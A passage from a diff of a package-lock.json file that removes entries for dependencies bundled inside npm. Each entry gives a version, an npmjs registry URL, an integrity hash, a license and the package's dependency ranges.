"node_modules/npm/node_modules/npm-pick-manifest": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/npm-pick-manifest/-/npm-pick-manifest-2.1.0.tgz", - "integrity": "sha512-q9zLP8cTr8xKPmMZN3naxp1k/NxVFsjxN6uWuO1tiw9gxg7wZWQ/b5UTfzD0ANw2q1lQxdLKTeCCksq+bPSgbQ==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "npm-package-arg": "^6.0.0", - "semver": "^5.4.1" - } - }, - "node_modules/npm/node_modules/npm-profile": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/npm-profile/-/npm-profile-3.0.2.tgz", - "integrity": "sha512-rEJOFR6PbwOvvhGa2YTNOJQKNuc6RovJ6T50xPU7pS9h/zKPNCJ+VHZY2OFXyZvEi+UQYtHRTp8O/YM3tUD20A==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "aproba": "^1.1.2 || 2", - "make-fetch-happen": "^2.5.0 || 3 || 4" - } - }, - "node_modules/npm/node_modules/npm-registry-client": { - "version": "8.5.1", - "resolved": "https://registry.npmjs.org/npm-registry-client/-/npm-registry-client-8.5.1.tgz", - "integrity": "sha512-7rjGF2eA7hKDidGyEWmHTiKfXkbrcQAsGL/Rh4Rt3x3YNRNHhwaTzVJfW3aNvvlhg4G62VCluif0sLCb/i51Hg==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "concat-stream": "^1.5.2", - "graceful-fs": "^4.1.6", - "normalize-package-data": "~1.0.1 || ^2.0.0", - "npm-package-arg": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0", - "once": "^1.3.3", - "request": "^2.74.0", - "retry": "^0.10.0", - "safe-buffer": "^5.1.1", - "semver": "2 >=2.2.1 || 3.x || 4 || 5", - "slide": "^1.1.3", - "ssri": "^5.2.4" - }, - "optionalDependencies": { - "npmlog": "2 || ^3.1.0 || ^4.0.0" - } - }, - "node_modules/npm/node_modules/npm-registry-client/node_modules/retry": { - "version": "0.10.1", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.10.1.tgz", - "integrity": "sha1-52OI0heZLCUnUCQdPTlW/tmNj/Q=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": "*" - } - }, - "node_modules/npm/node_modules/npm-registry-client/node_modules/ssri": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/ssri/-/ssri-5.3.0.tgz", - "integrity": "sha512-XRSIPqLij52MtgoQavH/x/dU1qVKtWUAAZeOHsR9c2Ddi4XerFy3mc1alf+dLJKl9EUIm/Ht+EowFkTUOA6GAQ==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "safe-buffer": "^5.1.1" - } - }, - "node_modules/npm/node_modules/npm-registry-fetch": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/npm-registry-fetch/-/npm-registry-fetch-1.1.0.tgz", - "integrity": "sha512-XJPIBfMtgaooRtZmuA42xCeLf3tkxdIX0xqRsGWwNrcVvJ9UYFccD7Ho7QWCzvkM3i/QrkUC37Hu0a+vDBmt5g==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "bluebird": "^3.5.1", - "figgy-pudding": "^2.0.1", - "lru-cache": "^4.1.2", - "make-fetch-happen": "^3.0.0", - "npm-package-arg": "^6.0.0", - "safe-buffer": "^5.1.1" - } - }, - "node_modules/npm/node_modules/npm-registry-fetch/node_modules/cacache": { - "version": "10.0.4", - "resolved": "https://registry.npmjs.org/cacache/-/cacache-10.0.4.tgz", - "integrity": "sha512-Dph0MzuH+rTQzGPNT9fAnrPmMmjKfST6trxJeK7NQuHRaVw24VzPRWTmg9MpcwOVQZO0E1FBICUlFeNaKPIfHA==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "bluebird": "^3.5.1", - "chownr": "^1.0.1", - "glob": "^7.1.2", - "graceful-fs": "^4.1.11", - "lru-cache": "^4.1.1", - "mississippi": "^2.0.0", - "mkdirp": "^0.5.1", - "move-concurrently": "^1.0.1", - "promise-inflight": "^1.0.1", - "rimraf": "^2.6.2", - "ssri": "^5.2.4", - "unique-filename": "^1.1.0", - "y18n": "^4.0.0" - } - }, - "node_modules/npm/node_modules/npm-registry-fetch/node_modules/cacache/node_modules/mississippi": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-2.0.0.tgz", - "integrity": "sha512-zHo8v+otD1J10j/tC+VNoGK9keCuByhKovAvdn74dmxJl9+mWHnx6EMsDN4lgRoMI/eYo2nchAxniIbUPb5onw==", - "dev": true, - "inBundle": true, - "license": "BSD-2-Clause", - "dependencies": { - "concat-stream": "^1.5.0", - "duplexify": "^3.4.2", - "end-of-stream": "^1.1.0", - "flush-write-stream": "^1.0.0", - "from2": "^2.1.0", - "parallel-transform": "^1.1.0", - "pump": "^2.0.1", - "pumpify": "^1.3.3", - "stream-each": "^1.1.0", - "through2": "^2.0.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/npm/node_modules/npm-registry-fetch/node_modules/figgy-pudding": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/figgy-pudding/-/figgy-pudding-2.0.1.tgz", - "integrity": "sha512-yIJPhIBi/oFdU/P+GSXjmk/rmGjuZkm7A5LTXZxNrEprXJXRK012FiI1BR1Pga+0d/d6taWWD+B5d2ozqaxHig==", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/npm-registry-fetch/node_modules/make-fetch-happen": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-3.0.0.tgz", - "integrity": "sha512-FmWY7gC0mL6Z4N86vE14+m719JKE4H0A+pyiOH18B025gF/C113pyfb4gHDDYP5cqnRMHOz06JGdmffC/SES+w==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "agentkeepalive": "^3.4.1", - "cacache": "^10.0.4", - "http-cache-semantics": "^3.8.1", - "http-proxy-agent": "^2.1.0", - "https-proxy-agent": "^2.2.0", - "lru-cache": "^4.1.2", - "mississippi": "^3.0.0", - "node-fetch-npm": "^2.0.2", - "promise-retry": "^1.1.1", - "socks-proxy-agent": "^3.0.1", - "ssri": "^5.2.4" - } - }, - "node_modules/npm/node_modules/npm-registry-fetch/node_modules/pump": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz", - "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "node_modules/npm/node_modules/npm-registry-fetch/node_modules/smart-buffer": { - "version": "1.1.15", - "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-1.1.15.tgz", - "integrity": "sha1-fxFLW2X6s+KjWqd1uxLw0cZJvxY=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">= 0.10.15", - "npm": ">= 1.3.5" - } - }, - "node_modules/npm/node_modules/npm-registry-fetch/node_modules/socks": { - "version": "1.1.10", - "resolved": "https://registry.npmjs.org/socks/-/socks-1.1.10.tgz", - "integrity": "sha1-W4t/x8jzQcU+0FbpKbe/Tei6e1o=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "ip": "^1.1.4", - "smart-buffer": "^1.0.13" - }, - "engines": { - "node": ">= 0.10.0", - "npm": ">= 1.3.5" - } - }, - "node_modules/npm/node_modules/npm-registry-fetch/node_modules/socks-proxy-agent": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-3.0.1.tgz", - "integrity": "sha512-ZwEDymm204mTzvdqyUqOdovVr2YRd2NYskrYrF2LXyZ9qDiMAoFESGK8CRphiO7rtbo2Y757k2Nia3x2hGtalA==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "agent-base": "^4.1.0", - "socks": "^1.1.10" - } - }, - "node_modules/npm/node_modules/npm-registry-fetch/node_modules/ssri": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/ssri/-/ssri-5.3.0.tgz", - "integrity": "sha512-XRSIPqLij52MtgoQavH/x/dU1qVKtWUAAZeOHsR9c2Ddi4XerFy3mc1alf+dLJKl9EUIm/Ht+EowFkTUOA6GAQ==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "safe-buffer": "^5.1.1" - } - }, - "node_modules/npm/node_modules/npm-run-path": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz", - "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "path-key": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/npm-user-validate": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/npm-user-validate/-/npm-user-validate-1.0.0.tgz", - "integrity": "sha1-jOyg9c6gTU6TUZ73LQVXp1Ei6VE=", - "dev": true, - "inBundle": true, - "license": "BSD-2-Clause" - }, - "node_modules/npm/node_modules/npmlog": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz", - "integrity": "sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" - } - }, - "node_modules/npm/node_modules/number-is-nan": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", - "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/oauth-sign": { - "version": "0.8.2", - "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.8.2.tgz", - "integrity": "sha1-Rqarfwrq2N6unsBWV4C31O/rnUM=", - "dev": true, - "inBundle": true, - "license": "Apache-2.0", - "engines": { - "node": "*" - } - }, - "node_modules/npm/node_modules/object-assign": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/once": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "wrappy": "1" - } - }, - "node_modules/npm/node_modules/opener": { - "version": "1.4.3", - "resolved": "https://registry.npmjs.org/opener/-/opener-1.4.3.tgz", - "integrity": "sha1-XG2ixdflgx6P+jlklQ+NZnSskLg=", - "dev": true, - "inBundle": true, - "license": "(WTFPL OR MIT)", - "bin": { - "opener": "opener.js" - } - }, - "node_modules/npm/node_modules/os-homedir": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz", - "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/os-locale": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-2.1.0.tgz", - "integrity": "sha512-3sslG3zJbEYcaC4YVAvDorjGxc7tv6KVATnLPZONiljsUncvihe9BQoVCEs0RZ1kmf4Hk9OBqlZfJZWI4GanKA==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "execa": "^0.7.0", - "lcid": "^1.0.0", - "mem": "^1.1.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/os-tmpdir": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", - "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/osenv": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz", - "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.0" - } - }, - "node_modules/npm/node_modules/p-finally": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", - "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/p-limit": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.2.0.tgz", - "integrity": "sha512-Y/OtIaXtUPr4/YpMv1pCL5L5ed0rumAaAeBSj12F+bSlMdys7i8oQF/GUJmfpTS/QoaRrS/k6pma29haJpsMng==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "p-try": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/p-locate": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz", - "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "p-limit": "^1.1.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/p-try": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz", - "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/package-json": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/package-json/-/package-json-4.0.1.tgz", - "integrity": "sha1-iGmgQBJTZhxMTKPabCEh7VVfXu0=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "got": "^6.7.1", - "registry-auth-token": "^3.0.1", - "registry-url": "^3.0.3", - "semver": "^5.1.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/pacote": { - "version": "8.1.6", - "resolved": "https://registry.npmjs.org/pacote/-/pacote-8.1.6.tgz", - "integrity": "sha512-wTOOfpaAQNEQNtPEx92x9Y9kRWVu45v583XT8x2oEV2xRB74+xdqMZIeGW4uFvAyZdmSBtye+wKdyyLaT8pcmw==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "bluebird": "^3.5.1", - "cacache": "^11.0.2", - "get-stream": "^3.0.0", - "glob": "^7.1.2", - "lru-cache": "^4.1.3", - "make-fetch-happen": "^4.0.1", - "minimatch": "^3.0.4", - "minipass": "^2.3.3", - "mississippi": "^3.0.0", - "mkdirp": "^0.5.1", - "normalize-package-data": "^2.4.0", - "npm-package-arg": "^6.1.0", - "npm-packlist": "^1.1.10", - "npm-pick-manifest": "^2.1.0", - "osenv": "^0.1.5", - "promise-inflight": "^1.0.1", - "promise-retry": "^1.1.1", - "protoduck": "^5.0.0", - "rimraf": "^2.6.2", - "safe-buffer": "^5.1.2", - "semver": "^5.5.0", - "ssri": "^6.0.0", - "tar": "^4.4.3", - "unique-filename": "^1.1.0", - "which": "^1.3.0" - } - }, - "node_modules/npm/node_modules/parallel-transform": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/parallel-transform/-/parallel-transform-1.1.0.tgz", - "integrity": "sha1-1BDwZbBdojCB/NEPKIVMKb2jOwY=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "cyclist": "~0.2.2", - "inherits": "^2.0.3", - "readable-stream": "^2.1.5" - } - }, - "node_modules/npm/node_modules/path-exists": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", - "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/path-is-absolute": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/path-is-inside": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/path-is-inside/-/path-is-inside-1.0.2.tgz", - "integrity": "sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM=", - "dev": true, - "inBundle": true, - "license": "(WTFPL OR MIT)" - }, - "node_modules/npm/node_modules/path-key": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", - "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/performance-now": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-0.2.0.tgz", - "integrity": "sha1-M+8wxcd9TqIcWlOGnZG1bY8lVeU=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/pify": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", - "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/prepend-http": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-1.0.4.tgz", - "integrity": "sha1-1PRWKwzjaW5BrFLQ4ALlemNdxtw=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/process-nextick-args": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/promise-inflight": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", - "integrity": "sha1-mEcocL8igTL8vdhoEputEsPAKeM=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/promise-retry": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-1.1.1.tgz", - "integrity": "sha1-ZznpaOMFHaIM5kl/srUPaRHfPW0=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "err-code": "^1.0.0", - "retry": "^0.10.0" - }, - "engines": { - "node": ">=0.12" - } - }, - "node_modules/npm/node_modules/promise-retry/node_modules/retry": { - "version": "0.10.1", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.10.1.tgz", - "integrity": "sha1-52OI0heZLCUnUCQdPTlW/tmNj/Q=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": "*" - } - }, - "node_modules/npm/node_modules/promzard": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/promzard/-/promzard-0.3.0.tgz", - "integrity": "sha1-JqXW7ox97kyxIggwWs+5O6OCqe4=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "read": "1" - } - }, - "node_modules/npm/node_modules/proto-list": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/proto-list/-/proto-list-1.2.4.tgz", - "integrity": "sha1-IS1b/hMYMGpCD2QCuOJv85ZHqEk=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/protoduck": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/protoduck/-/protoduck-5.0.0.tgz", - "integrity": "sha512-agsGWD8/RZrS4ga6v82Fxb0RHIS2RZnbsSue6A9/MBRhB/jcqOANAMNrqM9900b8duj+Gx+T/JMy5IowDoO/hQ==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "genfun": "^4.0.1" - } - }, - "node_modules/npm/node_modules/prr": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", - "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/pseudomap": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", - "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/pump": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", - "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "node_modules/npm/node_modules/pumpify": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-1.5.1.tgz", - "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "duplexify": "^3.6.0", - "inherits": "^2.0.3", - "pump": "^2.0.0" - } - }, - "node_modules/npm/node_modules/pumpify/node_modules/pump": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz", - "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "node_modules/npm/node_modules/punycode": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", - "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/qrcode-terminal": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/qrcode-terminal/-/qrcode-terminal-0.12.0.tgz", - "integrity": "sha512-EXtzRZmC+YGmGlDFbXKxQiMZNwCLEO6BANKXG4iCtSIM0yqc/pappSx3RIKr4r0uh5JsBckOXeKrB3Iz7mdQpQ==", - "dev": true, - "inBundle": true, - "bin": { - "qrcode-terminal": "bin/qrcode-terminal.js" - } - }, - "node_modules/npm/node_modules/qs": { - "version": "6.4.0", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.4.0.tgz", - "integrity": "sha1-E+JtKK1rD/qpExLNO/cI7TUecjM=", - "dev": true, - "inBundle": true, - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.6" - } - }, - "node_modules/npm/node_modules/query-string": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/query-string/-/query-string-6.1.0.tgz", - "integrity": "sha512-pNB/Gr8SA8ff8KpUFM36o/WFAlthgaThka5bV19AD9PNTH20Pwq5Zxodif2YyHwrctp6SkL4GqlOot0qR/wGaw==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "decode-uri-component": "^0.2.0", - "strict-uri-encode": "^2.0.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/npm/node_modules/qw": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/qw/-/qw-1.0.1.tgz", - "integrity": "sha1-77/cdA+a0FQwRCassYNBLMi5ltQ=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/rc": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.7.tgz", - "integrity": "sha512-LdLD8xD4zzLsAT5xyushXDNscEjB7+2ulnl8+r1pnESlYtlJtVSoCMBGr30eDRJ3+2Gq89jK9P9e4tCEH1+ywA==", - "dev": true, - "inBundle": true, - "license": "(BSD-2-Clause OR MIT OR Apache-2.0)", - "dependencies": { - "deep-extend": "^0.5.1", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" - }, - "bin": { - "rc": "cli.js" - } - }, - "node_modules/npm/node_modules/rc/node_modules/minimist": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.0.tgz", - "integrity": "sha1-o1AIsg9BOD7sH7kU9M1d95omQoQ=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/read": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/read/-/read-1.0.7.tgz", - "integrity": "sha1-s9oZvQUkMal2cdRKQmNK33ELQMQ=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "mute-stream": "~0.0.4" - }, - "engines": { - "node": ">=0.8" - } - }, - "node_modules/npm/node_modules/read-cmd-shim": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/read-cmd-shim/-/read-cmd-shim-1.0.1.tgz", - "integrity": "sha1-LV0Vd4ajfAVdIgd8MsU/gynpHHs=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "graceful-fs": "^4.1.2" - } - }, - "node_modules/npm/node_modules/read-installed": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/read-installed/-/read-installed-4.0.3.tgz", - "integrity": "sha1-/5uLZ/GH0eTCm5/rMfayI6zRkGc=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "debuglog": "^1.0.1", - "read-package-json": "^2.0.0", - "readdir-scoped-modules": "^1.0.0", - "semver": "2 || 3 || 4 || 5", - "slide": "~1.1.3", - "util-extend": "^1.0.1" - }, - "optionalDependencies": { - "graceful-fs": "^4.1.2" - } - }, - "node_modules/npm/node_modules/read-package-json": { - "version": "2.0.13", - "resolved": "https://registry.npmjs.org/read-package-json/-/read-package-json-2.0.13.tgz", - "integrity": "sha512-/1dZ7TRZvGrYqE0UAfN6qQb5GYBsNcqS1C0tNK601CFOJmtHI7NIGXwetEPU/OtoFHZL3hDxm4rolFFVE9Bnmg==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "glob": "^7.1.1", - "json-parse-better-errors": "^1.0.1", - "normalize-package-data": "^2.0.0", - "slash": "^1.0.0" - }, - "optionalDependencies": { - "graceful-fs": "^4.1.2" - } - }, - "node_modules/npm/node_modules/read-package-tree": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/read-package-tree/-/read-package-tree-5.2.1.tgz", - "integrity": "sha512-2CNoRoh95LxY47LvqrehIAfUVda2JbuFE/HaGYs42bNrGG+ojbw1h3zOcPcQ+1GQ3+rkzNndZn85u1XyZ3UsIA==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "debuglog": "^1.0.1", - "dezalgo": "^1.0.0", - "once": "^1.3.0", - "read-package-json": "^2.0.0", - "readdir-scoped-modules": "^1.0.0" - } - }, - "node_modules/npm/node_modules/readable-stream": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", - "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "node_modules/npm/node_modules/readdir-scoped-modules": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/readdir-scoped-modules/-/readdir-scoped-modules-1.0.2.tgz", - "integrity": "sha1-n6+jfShr5dksuuve4DDcm19AZ0c=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "debuglog": "^1.0.1", - "dezalgo": "^1.0.0", - "graceful-fs": "^4.1.2", - "once": "^1.3.0" - } - }, - "node_modules/npm/node_modules/registry-auth-token": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/registry-auth-token/-/registry-auth-token-3.3.2.tgz", - "integrity": "sha512-JL39c60XlzCVgNrO+qq68FoNb56w/m7JYvGR2jT5iR1xBrUA3Mfx5Twk5rqTThPmQKMWydGmq8oFtDlxfrmxnQ==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - 